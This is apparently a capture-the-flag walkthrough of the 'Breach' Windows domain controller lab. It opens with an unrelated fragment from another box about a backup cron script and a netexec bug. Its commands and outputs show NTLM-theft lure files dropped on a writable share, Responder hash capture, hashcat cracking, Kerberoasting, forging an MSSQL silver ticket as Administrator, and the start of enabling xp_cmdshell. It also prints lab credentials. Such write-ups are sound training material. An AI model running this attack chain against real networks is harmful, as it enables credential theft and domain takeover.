-rw------- 1 root root 181443 Feb 10 11:26 backup_manifest
drwx------ 6 root root 4096 Feb 10 11:26 base
drwx------ 2 root root 4096 Feb 10 11:26 global
drwx------ 2 root root 4096 Feb 10 11:26 pg_commit_ts
drwx------ 2 root root 4096 Feb 10 11:26 pg_dynshmem
drwx------ 4 root root 4096 Feb 10 11:26 pg_logical
drwx------ 4 root root 4096 Feb 10 11:26 pg_multixact
drwx------ 2 root root 4096 Feb 10 11:26 pg_notify
drwx------ 2 root root 4096 Feb 10 11:26 pg_replslot
drwx------ 2 root root 4096 Feb 10 11:26 pg_serial
drwx------ 2 root root 4096 Feb 10 11:26 pg_snapshots
drwx------ 2 root root 4096 Feb 10 11:26 pg_stat
drwx------ 2 root root 4096 Feb 10 11:26 pg_stat_tmp
drwx------ 2 root root 4096 Feb 10 11:26 pg_subtrans
drwx------ 2 root root 4096 Feb 10 11:26 pg_tblspc
drwx------ 2 root root 4096 Feb 10 11:26 pg_twophase
drwx------ 3 root root 4096 Feb 10 11:26 pg_wal
drwx------ 2 root root 4096 Feb 10 11:26 pg_xact
-rw------- 1 root root 88 Feb 10 11:26 postgresql.auto.conf
All of the files in /opt/backups/current are created this minute. I’ll upload pspy:
It looks like cron runs /bin/bash /usr/bin/backup. I can make out most of the script from the resulting processes, but it’s easier to just look at the file:
It removes all the files in /opt/backups/current, and then calls a standard PostgreSQL tool, pg_basebackup, with that as the output directory. It then zips that directory into /var/backups using the date as a name. It then counts the number of backups, and if it’s greater than 10, removes them all (which is a bit wild for a backup strategy!).
pg_basebackup is used to take a base backup of a running PostgreSQL database cluster. The backup is taken without affecting other clients of the database, and can be used both for point-in-time recovery (see Section 25.3) and as the starting point for a log-shipping or streaming-replication standby server (see Section 26.2).
The files being backed up to /opt/backups/current are the files in /var/lib/postgresql/14/main:
While solving Slonik, I ran into data points with netexec I couldn’t explain:
I could read /etc/shadow.
I could not read /root/root.txt.
I could not read /home/service/.bash_history.
My thinking is that the first two made sense. NFS allows me to be any user / group other than root. Without root, no root.txt. shadow group gives me access to shadow. So what is broken on .bash_history? Turns out it was a bug in Netexec. I’ll go into detail in this video:
I created a PR to fix the bug, which has already been merged. And with that fix it works:
Breach is a Windows domain controller box. I’ll start by using guest access to a writable SMB share to drop ntlm_theft lure files, capturing a NetNTLMv2 hash for a domain user with Responder. After cracking that hash, I’ll use BloodHound to find a Kerberoastable MSSQL service account and crack its hash as well. Both accounts map to guest on MSSQL, but I’ll forge a silver ticket as Administrator to get sysadmin access, enable xp_cmdshell, and use GodPotato to escalate to SYSTEM.
The User flag for this Box is located in a non-standard directory, C:\share\transfer\.
Recon
Initial Scanning
nmap finds 20 open TCP ports:
oxdf@hacky$sudo nmap -p--vvv--min-rate 10000 10.129.10.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-03 12:37 UTC
...[snip]...
Nmap scan report for 10.129.10.28
Host is up, received echo-reply ttl 127 (0.045s latency).
Scanned at 2026-02-03 12:38:00 UTC for 33s
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
55568/tcp open unknown syn-ack ttl 127
59141/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 34.38 seconds
Raw packets sent: 327628 (14.416MB) | Rcvd: 33 (1.436KB)
oxdf@hacky$sudo nmap -p 53,80,88,135,139,445,464,593,636,1433,3268,3269,3389,5985,9389,49664,49667,55568,59141 -sCV 10.129.10.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-03 12:40 UTC
Nmap scan report for 10.129.10.28
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-03 12:40:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-02-03T12:42:27+00:00; +5s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-02-03T12:20:50
|_Not valid after: 2056-02-03T12:20:50
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Not valid before: 2025-09-07T08:04:48
|_Not valid after: 2026-03-09T08:04:48
| rdp-ntlm-info:
| Target_Name: BREACH
| NetBIOS_Domain_Name: BREACH
| NetBIOS_Computer_Name: BREACHDC
| DNS_Domain_Name: breach.vl
| DNS_Computer_Name: BREACHDC.breach.vl
| DNS_Tree_Name: breach.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-02-03T12:41:46+00:00
|_ssl-date: 2026-02-03T12:42:26+00:00; +4s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
55568/tcp open msrpc Microsoft Windows RPC
59141/tcp open msrpc Microsoft Windows RPC
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-02-03T12:41:46
|_ start_date: N/A
|_clock-skew: mean: 4s, deviation: 0s, median: 3s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.25 seconds
The box shows many of the ports associated with a Windows Domain Controller. The domain is breach.vl, and the hostname is BREACHDC.
I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:
All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.
nmap notes my clock is roughly in sync with the DC, which is necessary to do any actions that use Kerberos auth.
For next steps in enumeration, I’ll check out the website on 80 and SMB for any anonymous access. When I get creds, I’ll want to check out MSSQL (1433) as well as WinRM (5985) or RDP (3389) for shell access.
Website - TCP 80
Site
Loading the site by IP or domain, it just shows the IIS default page:
Tech Stack
This is clearly IIS, and the HTTP response headers show it’s IIS version 10:
HTTP/1.1200OKContent-Type:text/htmlLast-Modified:Thu, 17 Feb 2022 09:54:35 GMTAccept-Ranges:bytesETag:"997d8d5ee423d81:0"Server:Microsoft-IIS/10.0Date:Tue, 03 Feb 2026 13:15:53 GMTContent-Length:703
The main page loads as /iisstart.htm, which matches the default install. The 404 page is the default IIS 404:
Directory Brute Force
I’ll run feroxbuster against the site, with a lowercase wordlist for Windows:
oxdf@hacky$feroxbuster -u http://breach.vl -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://breach.vl
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter200 GET 334l 2089w 180418c http://breach.vl/iisstart.png
200 GET 32l 55w 703c http://breach.vl/
400 GET 6l 26w 324c http://breach.vl/error%1F_log
[####################] - 12s 26587/26587 0s found:3 errors:0
[####################] - 12s 26584/26584 2255/s http://breach.vl/
It finds nothing.
SMB - TCP 445
Users
The guest account is not able to list users, but it can brute force RIDs:
The username format seems to be <first>.<last>, and there’s one service account, svc_mssql (which it is reasonable to assume is running the MSSQL service on 1433).
It’s the Default and Public user directories. Nothing interesting here.
share
The share share has three folders:
oxdf@hacky$smbclient //BREACHDC.breach.vl/share -U'guest%'Try "help" to get a list of possible commands.
smb: \>ls . D 0 Tue Feb 3 13:38:41 2026
.. DHS 0 Tue Sep 9 10:35:32 2025
finance D 0 Thu Feb 17 11:19:34 2022
software D 0 Thu Feb 17 11:19:12 2022
transfer D 0 Mon Sep 8 10:13:44 2025
7863807 blocks of size 4096. 1518950 blocks available
finance and software are both empty (as far as guest can see). transfer has three more directories:
smb: \transfer\> ls . D 0 Mon Sep 8 10:13:44 2025
.. D 0 Tue Feb 3 13:38:41 2026
claire.pope D 0 Thu Feb 17 11:21:35 2022
diana.pope D 0 Thu Feb 17 11:21:19 2022
julia.wong D 0 Thu Apr 17 00:38:12 2025
7863807 blocks of size 4096. 1518534 blocks available
guest is not able to list inside any of these.
Auth as Julia.Wong
Steal NetNTLMv2
With a share that is writable, it’s worth taking a shot at dropping files (like .scf, .url, .library-ms, and desktop.ini) that contain UNC path references pointing back to my IP. When Windows Explorer renders the folder or a user opens one of the files, Windows automatically attempts to authenticate to the remote SMB server, completing an NTLM challenge-response that I can capture and attempt to crack offline. ntlm_theft is a nice tool for generating a bunch of these at once. I’ll grab a copy:
To run it using uv, I’ll have to add the single library requirement. Then it runs:
oxdf@hacky$uv add --script ntlm_theft.py xlsxwriter
Updated `ntlm_theft.py`
oxdf@hacky$uv run ntlm_theft.py
Installed 1 package in 11ms
usage: ntlm_theft.py --generate all --server <ip_of_smb_catcher_server> --filename <base_file_name>
ntlm_theft.py: error: the following arguments are required: -g/--generate, -s/--server, -f/--filename
I’ll give it the required formats (all), my IP, and a base name:
oxdf@hacky$uv run ntlm_theft.py -g all -s 10.10.14.16 -f lure
Created: lure/lure.scf (BROWSE TO FOLDER)
Created: lure/lure-(url).url (BROWSE TO FOLDER)
Created: lure/lure-(icon).url (BROWSE TO FOLDER)
Created: lure/lure.lnk (BROWSE TO FOLDER)
Created: lure/lure.rtf (OPEN)
Created: lure/lure-(stylesheet).xml (OPEN)
Created: lure/lure-(fulldocx).xml (OPEN)
Created: lure/lure.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: lure/lure-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: lure/lure-(includepicture).docx (OPEN)
Created: lure/lure-(remotetemplate).docx (OPEN)
Created: lure/lure-(frameset).docx (OPEN)
Created: lure/lure-(externalcell).xlsx (OPEN)
Created: lure/lure.wax (OPEN)
Created: lure/lure.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: lure/lure.asx (OPEN)
Created: lure/lure.jnlp (OPEN)
Created: lure/lure.application (DOWNLOAD AND OPEN)
Created: lure/lure.pdf (OPEN AND ALLOW)
Created: lure/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: lure/lure.library-ms (BROWSE TO FOLDER)
Created: lure/Autorun.inf (BROWSE TO FOLDER)
Created: lure/desktop.ini (BROWSE TO FOLDER)
Created: lure/lure.theme (THEME TO INSTALL
Generation Complete.
From that directory, I’ll connect to SMB and upload all the files. It works to drop them in the transfer directory:
oxdf@hacky$smbclient //BREACHDC.breach.vl/share -U'guest%'Try "help" to get a list of possible commands.
smb: \>cd transfer\smb: \transfer\>prompt off
smb: \transfer\>mput *putting file Autorun.inf as \transfer\Autorun.inf (1.2 kb/s) (average 1.2 kb/s)
putting file lure-(handler).htm as \transfer\lure-(handler).htm (1.7 kb/s) (average 1.4 kb/s)
putting file lure.asx as \transfer\lure.asx (2.2 kb/s) (average 1.7 kb/s)
putting file lure.wax as \transfer\lure.wax (0.8 kb/s) (average 1.5 kb/s)
putting file desktop.ini as \transfer\desktop.ini (0.7 kb/s) (average 1.3 kb/s)
putting file lure.m3u as \transfer\lure.m3u (0.7 kb/s) (average 1.2 kb/s)
putting file lure.pdf as \transfer\lure.pdf (11.6 kb/s) (average 2.7 kb/s)
putting file lure-(frameset).docx as \transfer\lure-(frameset).docx (153.6 kb/s) (average 21.6 kb/s)
putting file lure-(fulldocx).xml as \transfer\lure-(fulldocx).xml (805.5 kb/s) (average 135.0 kb/s)
putting file lure-(remotetemplate).docx as \transfer\lure-(remotetemplate).docx (394.9 kb/s) (average 160.1 kb/s)
putting file lure.library-ms as \transfer\lure.library-ms (18.3 kb/s) (average 147.6 kb/s)
putting file zoom-attack-instructions.txt as \transfer\zoom-attack-instructions.txt (1.7 kb/s) (average 135.7 kb/s)
putting file lure-(externalcell).xlsx as \transfer\lure-(externalcell).xlsx (86.6 kb/s) (average 131.9 kb/s)
putting file lure.lnk as \transfer\lure.lnk (32.5 kb/s) (average 125.0 kb/s)
putting file lure-(includepicture).docx as \transfer\lure-(includepicture).docx (155.9 kb/s) (average 127.0 kb/s)
putting file lure-(stylesheet).xml as \transfer\lure-(stylesheet).xml (1.8 kb/s) (average 116.7 kb/s)
putting file lure-(url).url as \transfer\lure-(url).url (0.9 kb/s) (average 110.2 kb/s)
putting file lure.rtf as \transfer\lure.rtf (1.5 kb/s) (average 104.4 kb/s)
putting file lure-(icon).url as \transfer\lure-(icon).url (1.5 kb/s) (average 98.8 kb/s)
putting file lure.jnlp as \transfer\lure.jnlp (2.9 kb/s) (average 94.2 kb/s)
putting file lure.theme as \transfer\lure.theme (24.9 kb/s) (average 91.1 kb/s)
putting file lure.application as \transfer\lure.application (24.8 kb/s) (average 88.1 kb/s)
putting file lure.scf as \transfer\lure.scf (1.3 kb/s) (average 84.5 kb/s)
putting file lure.htm as \transfer\lure.htm (0.9 kb/s) (average 80.1 kb/s)
I’ll start Responder and after a couple minutes, I get a hash for Julia.Wong:
oxdf@hacky$sudo uv run Responder.py -I tun0
...[snip]...
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.10.28
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash : Julia.Wong::BREACH:a1905663fa6d011b:859D2DC6D8872075FC28AF6FCDEBD0A2:010100000000000080922CDC1695DC018084F250342348B3000000000200080034004B004C005A0001001E00570049004E002D004D0044003300370053004E005300370049004200300004003400570049004E002D004D0044003300370053004E00530037004900420030002E0034004B004C005A002E004C004F00430041004C000300140034004B004C005A002E004C004F00430041004C000500140034004B004C005A002E004C004F00430041004C000700080080922CDC1695DC01060004000200000008003000300000000000000001000000002000007DFD839998ABFEAF3543946F2887DFF7FE3639D97E950F696E379D16007F62850A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310036000000000000000000
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
[*] Skipping previously captured hash for BREACH\Julia.Wong
It’s not clear to me which of these are firing, but there’s a bunch of connections, so it could be multiple.
Crack Hash
I’ll save the hash to a file and pass it to hashcat with rockyou.txt:
$ hashcat julia.wong.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5600 | NetNTLMv2 | Network Protocol
...[snip]...
JULIA.WONG::BREACH:a1905663fa6d011b:859d2dc6d8872075fc28af6fcdebd0a2:010100000000000080922cdc1695dc018084f250342348b3000000000200080034004b004c005a0001001e00570049004e002d004d0044003300370053004e005300370049004200300004003400570049004e002d004d0044003300370053004e00530037004900420030002e0034004b004c005a002e004c004f00430041004c000300140034004b004c005a002e004c004f00430041004c000500140034004b004c005a002e004c004f00430041004c000700080080922cdc1695dc01060004000200000008003000300000000000000001000000002000007dfd839998abfeaf3543946f2887dff7fe3639d97e950f696e379d16007f62850a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310036000000000000000000:Computer1
...[snip]...
They don’t work for WinRM or RDP (RDP shows green for good creds but without “Pwned!” I won’t be able to connect):
oxdf@hacky$netexec winrm BREACHDC.breach.vl -u Julia.Wong -p Computer1
WINRM 10.129.10.28 5985 BREACHDC [*] Windows Server 2022 Build 20348 (name:BREACHDC) (domain:breach.vl)
WINRM 10.129.10.28 5985 BREACHDC [-] breach.vl\Julia.Wong:Computer1
oxdf@hacky$netexec rdp BREACHDC.breach.vl -u Julia.Wong -p Computer1
RDP 10.129.10.28 3389 BREACHDC [*] Windows 10 or Windows Server 2016 Build 20348 (name:BREACHDC) (domain:breach.vl) (nla:True)
RDP 10.129.10.28 3389 BREACHDC [+] breach.vl\Julia.Wong:Computer1
I’ll find the user flag in the share share:
oxdf@hacky$smbclient //BREACHDC.breach.vl/share -U'Julia.Wong%Computer1'Try "help" to get a list of possible commands.
smb: \>cd transfer\julia.wong\smb: \transfer\julia.wong\>ls . D 0 Thu Apr 17 00:38:12 2025
.. D 0 Tue Feb 3 14:10:18 2026
user.txt A 32 Thu Apr 17 00:38:22 2025
7863807 blocks of size 4096. 1516382 blocks available
smb: \transfer\julia.wong\>get user.txt
getting file \transfer\julia.wong\user.txt of size 32 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \transfer\julia.wong\>^C
oxdf@hacky$cat user.txt
55d33e52************************
oxdf@hacky$rusthound-ce --domain breach.vl -u Julia.Wong -p Computer1 -z---------------------------------------------------
Initializing RustHound-CE at 22:25:12 on 02/03/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-02-03T22:25:12Z INFO rusthound_ce] Verbosity level: Info
[2026-02-03T22:25:12Z INFO rusthound_ce] Collection method: All
[2026-02-03T22:25:12Z INFO rusthound_ce::ldap] Connected to BREACH.VL Active Directory!
[2026-02-03T22:25:12Z INFO rusthound_ce::ldap] Starting data collection...
[2026-02-03T22:25:12Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:12Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=breach,DC=vl
[2026-02-03T22:25:12Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-02-03T22:25:13Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=breach,DC=vl
[2026-02-03T22:25:13Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
[2026-02-03T22:25:13Z INFO rusthound_ce::objects::domain] MachineAccountQuota: 10
[2026-02-03T22:25:13Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2026-02-03T22:25:13Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2026-02-03T22:25:13Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-02-03T22:25:13Z INFO rusthound_ce::json::maker::common] 15 users parsed!
[2026-02-03T22:25:13Z INFO rusthound_ce::json::maker::common] 62 groups parsed!
[2026-02-03T22:25:13Z INFO rusthound_ce::json::maker::common] 1 computers parsed!
[2026-02-03T22:25:13Z INFO rusthound_ce::json::maker::common] 2 ous parsed!
[2026-02-03T22:25:13Z INFO rusthound_ce::json::maker::common] 1 domains parsed!
[2026-02-03T22:25:13Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-02-03T22:25:13Z INFO rusthound_ce::json::maker::common] 73 containers parsed!
[2026-02-03T22:25:13Z INFO rusthound_ce::json::maker::common] .//20260203222513_breach-vl_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 22:25:13 on 02/03/26! Happy Graphing!
I’ll start the BloodHound-CE Docker and upload the data. I’ll mark Julia.Wong as owned, but they have no interesting outbound control.
The pre-built search for “All Kerberoastable Users” returns one:
It saves that to a file that hashcat can handle, and it cracks it in five seconds on my machine:
$ hashcat ./kerberoasting /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[snip]...
$krb5tgs$23$*svc_mssql$BREACH.VL$breach.vl\svc_mssql*$8a00486bd5075b4f5d8618b1488d7b9a$c1db4696a5b04565b9bdb87643c639cd33264153ccd268742dbcc99a00d5fb6b6a7980c0ecd946cf9957df9eb2136b181b568766a6bf61f87e74b9f5444f0917c78e7481217bc2c2cb09434e0184443494abb602069615aba76b2efe1c9f0603cdd7258b9ac3e7ef43f31537f8f798740eb2697bf83e000cac32b7bbd1f18efa3a27a9ade02ae39293e8a7b8fc6e1f5d8ca34c886eb557502b332b905b18a45a48049aad093ebf6e8c5d4e4cd4fbd99b34ba1d420fb8f7f53dd193b86431570a33f131f62aa1c581523ae19f2ad9061a8fe4fbe6f40a8ad164bfeed3c7c36496c97774f58de26406ec65cd887eac2514670bf33bc96a996eb22d3d2f0ddafcca8aaa2e28ad95c603448688de2659f316aaa260a5cd3648e62db846a526b3a7068242831a19f5501e3195c4e4e76092aa561f9414f9e4f3b1be32a892e00bbef233a851208deac202147aaff01270052f60d58ecdcc1e0832782b3676f87b4a175ab434874d50d7f9619f664f8cb3432b391b51043ebd28330c61937acc2cf5b7bda7cb7bc47363a2ccbdc05791072ecafc6f90e450f75a47facaa3634a69f115eeed0c3325e74668d571e605318cf40c9d224bec39ff59da4d4d8a0d6a466df27b82343d34c18afe9284f2602f6f4722d06a13d504754870eadaf868a6d87764d95f8cdbedaa05b50db3d558849dff321e74d2d0014449d33f23945c4d9ae71477036707a5d595c69deb04c9db09612894ad11d1588d76c6c8185ef14e900c1c94d81f98de5560fa5ce5eef19b3e6ed7ef6a8092b9301d610efe61ff756de71282911b4cfaa277a62fde19d3566f9a2288d7517807af79d2a5ee74811f1072fbe1ffe4b35291f72f65466d8f1378f9f2f57a4e95e93e4900db4366e0a18caefeeb45a843862914f1671b1fa74d6e17f805fdf497a2a1f93b4b27fae6a0a4ecc749269074ce1042025ab197e48670c10d23ba67c2276df9d15dfa58acd52ab7994fc8551c860730d60c69e2577a1a0d63f639809fb479c7a34690e4d0ea270a8e1767c20b3fbbbc3b2832963da54f63c26b6a93730471af0c24c5f2e087146413a2e7e23b804adbcbf7e70ccb235466b9cab0ce6cce38627d4ff0baa8b4c7af970771762ee17af0912f4f6ed8b1aa934e09932a458fdfc62559ba394df8da358644524cd2ff0585fe4688127a0777429a9d0eca1488efc57ee8d9c095bc2a442d8191bea627901e403644b2263fb07be7370e0323c2b9d995b00cd1be1196226ff6ef6039e9aa60b59cc12fcd83c9ec0493b6bd8725e5f918ca34b71a2812dc986ea02fb21c2b80f3b764e03fefe71ed421a2719fdc5ba1b560c6f3ab85e048782199f9b226015eab78241af8e6a6a977822c196d165fc9edef7bfd4d44aece349c9c4769af90689c59c6903ff9b6325032f65bf1e7b5e666b3ddf8f2af3a5b6dc102a4d9c8aa601e1bab2c9c3af4d5b94ee54e7d:Trustno1
...[snip]...
Interestingly, if I try to connect with mssqlclient.py using the hostname and these creds, they fail:
oxdf@hacky$ mssqlclient.pybreach.vl\svc_mssql:Trustno1@BREACHDC.breach.vl-windows-authImpacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[-] ERROR(BREACHDC\SQLEXPRESS): Line 1: Login failed for user 'BREACH\Guest'.
This is an issue with how mssqlclient.py handles NTLM auth. Using the IP works:
oxdf@hacky$mssqlclient.py 'breach.vl/svc_mssql:Trustno1@10.129.10.28'-windows-authImpacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\svc_mssql guest@master)>
Both users I have so far are mapped to the guest account, which has no interesting privileges. I can try to look at how logins map to MSSQL accounts, but it only shows that the sa user is admin, and the Users group is not (which maps to guest):
It is not uncommon for guest users to not be able to list all the user login mappings.
The svc_mssql use does have an SPN:
If the name didn’t give it away, that’s a very good signal that this account is what the MSSQL service is running as.
Silver Ticket
Background
A silver ticket is a forged Kerberos service ticket (TGS) created using the NTLM hash of a service account. Unlike a golden ticket (which forges a TGT using the krbtgt hash), a silver ticket targets a specific service. In this case, because I have the NTLM hash (or the raw password which makes it trivial to calculate the NTLM hash) of the svc_mssql account, I can craft service tickets (TGS) for the MSSQL service. I’ve shown some more complex abusing of silver tickets for MSSQL in Signed.
TGS as Administrator
To create a TGS, I’ll need:
The NTLM hash of the service account password.
The domain SID
To get the hash, I’ll calculate it using Python’s md4 hash:
Guessing at what users may map to sysadmin on MSSQL, Administrator seems like a good place to start:
oxdf@hacky$ticketer.py -nthash 69596c7aa1e8daee17f8e78870e25a5c -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn MSSQLSvc/breachdc.breach.vl:1433 Administrator
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
Now I’ll use that ticket to connect to MSSQL:
oxdf@hacky$KRB5CCNAME=Administrator.ccache mssqlclient.py -no-pass-k BREACHDC.breach.vl
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator dbo@master)>
The connection is as the dbo user! enum_logins shows why:
The Administrator user (along with NT SERVICE\SQLWriter, NT SERVICE\Winmgmt, and NT Service\MSSQL$SQLEXPRESS) map to the sysadmin role.
RCE as svc_mssql
xp_cmdshell is not enabled:
SQL (BREACH\Administrator dbo@master)> xp_cmdshellwhoamiERROR(BREACHDC\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
As sysadmin, I can enable it:
